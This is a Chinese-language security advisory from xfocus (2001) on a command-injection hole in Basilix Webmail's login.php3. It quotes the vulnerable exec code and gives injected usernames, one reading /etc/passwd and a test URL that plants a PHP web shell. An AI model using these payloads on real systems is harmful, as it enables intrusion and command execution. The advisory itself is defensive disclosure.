xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Basilix Webmail 系统存在命令可执行漏洞


发布时间:2001-09-04
更新时间:2001-09-04
严重程度:
威胁程度:普通用户访问权限
错误类型:输入验证错误
利用方式:服务器模式

受影响系统
Basilix 1.0.2/3 series
详细描述
Baslilix WEBMAIL系统允许远程用户执行任意命令,问题代码存在于login.php3中:

$atch_dir = $BSX_ATCH_DIR . "/" . "$IMAP_DOMAIN" . "/" ."$username";
.
.
.
$mkcmd = "/bin/mkdir -p $atch_dir";
@exec($mkcmd);

我们可以传递如下用户名如:username=blah;cat%20/etc/passwd,不过这种情况会失败,因为脚本尝试连接imap服务器和使用用户名和密码进行认证,要通过这个验证,我们必须设置一伪造的imap服务器。

测试代码
victim.host/basilix.php3?username=blah;echo%20"<?system(\$cmd);?>">js/blah.php&password=blah&RequestID=LOGIN&domain=blah&bsx_domains[blah][imap_host]=blah.com.pl&bsx_domains[blah][imap_port]=143&bsx_domains[blah][domain]=su.th3_tick&nocookie=1&BSX_TestCookie=1&SESSID=1

解决方案
尚无

相关信息
Karol Wiesek - appelast<appelast@cdp.pl>